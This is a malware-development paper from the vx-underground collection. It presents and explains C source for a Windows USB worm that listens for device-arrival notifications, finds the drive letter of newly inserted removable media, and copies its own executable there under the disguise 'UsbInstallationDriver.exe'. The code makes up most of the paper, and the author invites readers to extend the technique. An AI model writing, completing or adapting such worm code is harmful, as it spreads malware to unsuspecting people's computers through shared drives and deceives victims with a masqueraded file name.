USB Propagation

vx-underground collection // by smelly__vx

Introduction:

This paper is going to demonstrate USB worming (propagation). It should be noted that this technique does not require administrative privileges. However, it has some fairly large set backs.

1. Although it copies to the USB device, the binary will not auto-execute when the USB is plugged into another computer. The copied file must rely on masquerading to survive.
2. This proof of concept does not differentiate between USB thumb drives and USB external harddrives.
3. This technique has not been tested against any security products
4. This is a proof of concept. Have fun. :)

As a final note, many of the APIs invoked in this code are from forwarded to Win32u.dll. It may be possible to get syscalls for this and do some really cool stuff. I encourage exploration of this technique. Let me know what you find.

-smelly

The code:

```
LRESULT CALLBACK WndProcRoutine(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);

int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpCmdLine, int nShowCmd)
{
        DWORD dwError = ERROR_SUCCESS;
        WNDCLASSEXW WndClass = { 0 };
        WCHAR lpClassName[] = L"USBWORM";
        ATOM aTable = 0;
        MSG uMessage;
        INT Ret = 0;
        HWND hWnd;

        WndClass.cbSize = sizeof(WndClass);
        WndClass.lpfnWndProc = (WNDPROC)WndProcRoutine;
        WndClass.hInstance = GetModuleHandle(NULL);
        WndClass.lpszClassName = (LPWSTR)lpClassName;

        aTable = RegisterClassExW(&WndClass);
        if (!aTable)
                goto FAILURE;

        hWnd = CreateWindowExW(0, lpClassName, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
        if(hWnd == NULL)
                goto FAILURE;

        while ((Ret = GetMessageW(&uMessage, NULL, 0, 0)) != ERROR_SUCCESS)
        {
                if (Ret == -1)
                        goto FAILURE;

                TranslateMessage(&uMessage);
                DispatchMessageW(&uMessage);
        }

        if(aTable)
                UnregisterClassW(lpClassName, hInstance);

        return ERROR_SUCCESS;

FAILURE:

        dwError = GetLastError();

        if (aTable)
                UnregisterClassW(lpClassName, hInstance);

        return dwError;
}
```

Our code uses the WinMain entry point because it relies on Message notifications to receive messages from the OS on device arrival or exit. This means this code uses the Windows UI subsystem (NOT CONSOLE). Upon start our code registers a class, titled “USBWORM”, and leaves all UI elements empty with an invocation to CreateWindowEx.

The primary element to focus on is our CALLBACK routine WndProcRoutine which handles notifications from the OS. This is where our application will handle device insertion or removal messages. We will review our callback in a moment.

The entire entry point is fairly generic UI code, including the usage of GetMessage, TranslateMessage, and DispatchMessage. Note at the end of the code, in the event our message pump fails and/or terminates, we make a call to UnregisterClass to make sure our application exits cleanly and safely.

A skeleton of our callback will look like this:

```
LRESULT CALLBACK WndProcRoutine(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	static HDEVNOTIFY hDeviceNotify;

	switch (uMsg)
	{
		case WM_CREATE:
			break;

		case WM_DEVICECHANGE:
			break;

		case DBT_DEVICEREMOVECOMPLETE:
			break;

		case WM_CLOSE:
		case WM_DESTROY:
			break;

		default:
		{
			return DefWindowProc(hWnd, uMsg, wParam, lParam);
			break;
		}

	}

	return ERROR_SUCCESS;
}
```

Our callback will handle notifications on Window creation, WM_CREATE, for when it initially runs. It will also handle application WM_CLOSE and WM_DESTROY messages to handle notifications of application exit.

As you can see, our application also handles notifications for DBT_DEVICEREMOVECOMPLETE and WM_DEVICECHANGE. These are notifications we can register to receive which notify our application of device removal or device changes (such as insertion).

For sake of simplicity we will review how each message is handled. Then to conclude this paper I will share the source code in totality.

```
case WM_CREATE:
{
        DEV_BROADCAST_DEVICEINTERFACE_W NotificationFilter = { 0 };
        PWCHAR szLetter = NULL;
        GUID InterfaceClassGuid = { 0x25dbce51, 0x6c8f, 0x4a72,
                                    0x8a, 0x6d, 0xb5, 0x4c, 0x2b,
                                    0x4f, 0xc8, 0x35 };

        WCHAR szLogicalDrives[MAX_PATH] = { 0 };
        DWORD dwResults = ERROR_SUCCESS;
        WCHAR tCurrentPath[MAX_PATH] = { 0 };
        WCHAR tPayloadPath[MAX_PATH] = { 0 };

        NotificationFilter.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE_W);
        NotificationFilter.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE;
        NotificationFilter.dbcc_classguid = GUID_DEVINTERFACE_USB_DEVICE;

        hDeviceNotify = RegisterDeviceNotificationW(hWnd,
                                                    &NotificationFilter,
                                                    DEVICE_NOTIFY_WINDOW_HANDLE);
        if (hDeviceNotify == NULL)
                ExitProcess(GetLastError());

        break;
}
```

Our WM_CREATE message, which our application receives on successful invocation of CreateWindowEx, will invoke RegisterDeviceNotificationW. We pass a handle to our current window (HWND), as well as a DEV_BROADCAST_DEVICEINTERFACE_W structure which will inform the OS the types of notifications we'd like to receive. We populate this structure by populating it's members with DBT_DEVTYP_DEVICEINTERFACE, indicating we'd like to receive DEV_BROADCAST_DEVICEINTERFACE messages. The dbcc_classguid members indicate we're specifically filtering devices with this specific GUID. In this proof-of-concept I use the generic USB GUID.

In the event we receive a WM_CLOSE or WM_DESTROY message we unregister our application device notifications.

```
case WM_CLOSE:
case WM_DESTROY:
{
	if(hDeviceNotify)
		UnregisterDeviceNotification(hDeviceNotify);

	break;
}
```

We will also ignore DBT_DEVICEREMOVECOMPLETE notifications as well as other messages which we simply do not care to process by using the DefWindowProc function.

```
case DBT_DEVICEREMOVECOMPLETE:
	break;

default:
{
	return DefWindowProc(hWnd, uMsg, wParam, lParam);
	break;
}
```

[continued below]

The final segment in our code is handling WM_DEVICECHANGE events.

```
case WM_DEVICECHANGE:
{
        PDEV_BROADCAST_HDR lpDev = (PDEV_BROADCAST_HDR)lParam;
        PDEV_BROADCAST_DEVICEINTERFACE_W Dev = NULL;
        PDEV_BROADCAST_VOLUME lpVolume = NULL;
        DWORD dwMask = 0;
        WCHAR tPayloadPath[MAX_PATH] = { 0 };
        switch (wParam)
        {
                case DBT_DEVNODES_CHANGED:
                {
                        Sleep(10);
                        break;
                }
                case DBT_DEVICEARRIVAL:
                {
                        if (lpDev->dbch_devicetype == 2 || lpDev->dbch_devicetype == 5)
                        {

                                if (lpDev->dbch_devicetype == 5)
                                {
                                        Dev = (PDEV_BROADCAST_DEVICEINTERFACE_W)lParam;
                                }

                                lpVolume = (PDEV_BROADCAST_VOLUME)lpDev;
                                if (lpVolume->dbcv_flags & DBTF_MEDIA)
                                {
                                        CHAR X;
                                        dwMask = lpVolume->dbcv_unitmask;

                                        for (X = 0; X < 26; X++)
                                        {
                                                if (dwMask & 1)
                                                        break;

                                                dwMask = dwMask >> 1;
                                        }

                                        if (GetModuleFileNameW(NULL, tCurrentPath, MAX_PATH) == 0)
                                                ExitProcess(0);

                                        swprintf(tPayloadPath, MAX_PATH,
                                                 L"%c:\\UsbInstallationDriver.exe",
                                                 dwMask);

                                        if (!CopyFileW(tCurrentPath, tPayloadPath, FALSE))
                                                ExitProcess(0);

                                        break;
                                }
                        }
                }
        }
        break;
}
```

In the event of a WM_DEVICECHANGE we will typecast the LPARAM parameter received from the message notification to a DEV_BROADCAST_HDR structure. The WPARAM parameter from our message notification will inform us of the subtype message. In our code we intend on parsing only DBT_DEVICEARRIVAL notifications.

When our code receives the LPARAM value DEV_BROADCAST_HDR the DEV_BROADCAST_HDR member dbch_devicetype will indicate the type of device received. Our code will look for two values. The first value being type 0x00000002 meaning DBT_DEVTYP_VOLUME. This value is typically reserved for external harddrives. However, during testing, some thumb drives registered as volumes internally rather the other value we intend on parsing. The second value we check for is type 0x00000005 indicating DBT_DEVTYP_DEVICEINTERFACE, the GUID type we registered for. This will alert us of USB devices which do not fall under the DBT_DEVTYP_VOLUME message. The only shortcoming of this event type is that this will also notify us of hardware arrivals which are also USB devices such as keyboard, mice, microphones, etc. Hence we must verify the media type. We will typecast a DEV_BROADCAST_HDR structure to a DEV_BROADCAST_VOLUME structure to determine if it is of type DBTF_MEDIA. If it is, we proceed to get the device unitmask. This unitmask is a bitmask which tells us the drive letter it was assigned upon insertion.

The remainder of the code is fairly straightforward. We masquerade our binary as “UsbInstallationDriver.exe” and copy it over to the newly assigned drive letter the USB device was given.

Full code can be seen here:
https://github.com/vxunderground/VXUG-Papers/tree/main/USB%20Propagation